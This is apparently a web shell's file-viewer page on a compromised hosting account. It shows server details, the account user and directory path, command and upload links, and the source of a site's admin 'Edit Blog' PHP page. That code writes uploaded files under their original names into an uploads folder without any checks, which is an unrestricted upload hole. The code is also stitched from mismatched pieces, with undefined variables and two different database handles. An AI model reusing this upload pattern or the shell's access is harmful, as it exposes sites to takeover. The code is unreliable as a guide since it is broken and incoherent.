|
Server IP : 2a02:4780:11:767:0:2c41:85d9:6 / Your IP : 216.73.217.91 Web Server : LiteSpeed System : Linux in-mum-web667.main-hosting.eu 5.14.0-570.62.1.el9_6.x86_64 #1 SMP PREEMPT_DYNAMIC Tue Nov 11 10:10:59 EST 2025 x86_64 User : u742491609 ( 742491609) PHP Version : 8.1.34 Disable Function : system, exec, shell_exec, passthru, mysql_list_dbs, ini_alter, dl, symlink, link, chgrp, leak, popen, apache_child_terminate, virtual, mb_send_mail MySQL : OFF | cURL : ON | WGET : ON | Perl : OFF | Python : OFF Directory (0755) : /home/u742491609/domains/apca.org.in/public_html/admin/ |
| [ Home ] | [ C0mmand ] | [ Upload File ] |
|---|
<?php
ob_start();
session_start();
include("../connection.php");
include 'header.php';
include 'sidebar.php';
// Fetch blog ID from the URL
$id = $_GET["id"];
// Fetch existing blog data from the database
$stmt = $conn->prepare("SELECT * FROM blog WHERE id=?");
$stmt->execute([$id]);
$blog = $stmt->fetch();
// Check if form is submitted for update
if(isset($_POST['update'])){
$blog_name = $_POST['blog_name'];
$description = $_POST['description'];
$category = $_POST['category'];
$image = $_FILES['img']['name'];
$target = "../uploads/".basename($image);
$file_upload = move_uploaded_file($_FILES['img']['tmp_name'], $target);
// Determine if a new image was uploaded
if($_FILES['img']['name'] != ''){
$sql = "UPDATE `blog` SET `blog_name`=?, `description`=?, `img`=?, `category`=? WHERE `id`=?";
$update = $conn->prepare($sql)->execute([$blog_name, $description, $image, $category, $id]);
} else {
$sql = "UPDATE `blog` SET `blog_name`=?, `description`=?, `category`=? WHERE `id`=?";
$update = $conn->prepare($sql)->execute([$blog_name, $description, $category, $id]);
}
// Check if update was successful
if($update) {
header("Location: all-blog.php?msg=success");
exit(); // Prevent further execution
} else {
header("Location: all-blog.php?msg=failed");
exit(); // Prevent further execution
}
}
?>
<div class="page-wrapper">
<div class="content container-fluid">
<div class="page-header">
<div class="row">
<div class="col-sm-12">
<h3 class="page-title">Edit Blog</h3>
<ul class="breadcrumb">
<li class="breadcrumb-item"><a href="dashboard.php">Dashboard</a></li> /
<li class="breadcrumb-item active">Edit Blog</li>
</ul>
</div>
<div class="col-auto text-end float-end ms-auto">
<a href="all-blog.php" class="btn btn-outline-info me-2"><i class="fas fa-eye"></i> View</a>
</div>
</div>
</div>
<div class="row">
<div class="col-sm-12">
<div class="card">
<div class="card-body">
<div class="container mt-5">
<h1>Gallery Admin Panel</h1>
<form action="upload.php" method="POST" enctype="multipart/form-data">
<div class="form-group">
<label for="title">Title:</label>
<input type="text" name="title" class="form-control" required>
</div>
<div class="form-group">
<label for="category">Category:</label>
<input type="text" name="category" class="form-control" required>
</div>
<div class="form-group">
<label for="description">Description:</label>
<textarea name="description" class="form-control" required></textarea>
</div>
<div class="form-group">
<label for="images">Images:</label>
<input type="file" name="images[]" class="form-control" multiple required>
</div>
<button type="submit" class="btn btn-primary">Upload</button>
</form>
<h2 class="mt-5">Manage Sections and Images</h2>
<?php foreach ($sections as $section): ?>
<div class="card mt-3">
<div class="card-header">
<h3><?php echo htmlspecialchars($section['title']); ?></h3>
<p><?php echo htmlspecialchars($section['category']); ?></p>
<p><?php echo htmlspecialchars($section['description']); ?></p>
<a href="edit_section.php?id=<?php echo $section['id']; ?>" class="btn btn-warning">Edit</a>
<a href="delete_section.php?id=<?php echo $section['id']; ?>" class="btn btn-danger">Delete</a>
</div>
<div class="card-body">
<?php
$stmt = $pdo->prepare("SELECT * FROM images WHERE section_id = :section_id");
$stmt->execute(['section_id' => $section['id']]);
$images = $stmt->fetchAll(PDO::FETCH_ASSOC);
?>
<?php foreach ($images as $image): ?>
<div class="img-thumbnail d-inline-block mr-2">
<img src="<?php echo htmlspecialchars($image['image_path']); ?>" alt="Image" class="img-fluid">
<a href="edit_image.php?id=<?php echo $image['id']; ?>" class="btn btn-warning btn-sm mt-2">Edit</a>
<a href="delete_image.php?id=<?php echo $image['id']; ?>" class="btn btn-danger btn-sm mt-2">Delete</a>
</div>
<?php endforeach; ?>
</div>
</div>
<?php endforeach; ?>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
<script src="https://cdn.ckeditor.com/4.19.1/standard/ckeditor.js"></script>
<script>
CKEDITOR.replace('editor1');
</script>
<?php include 'footer.php'; ?>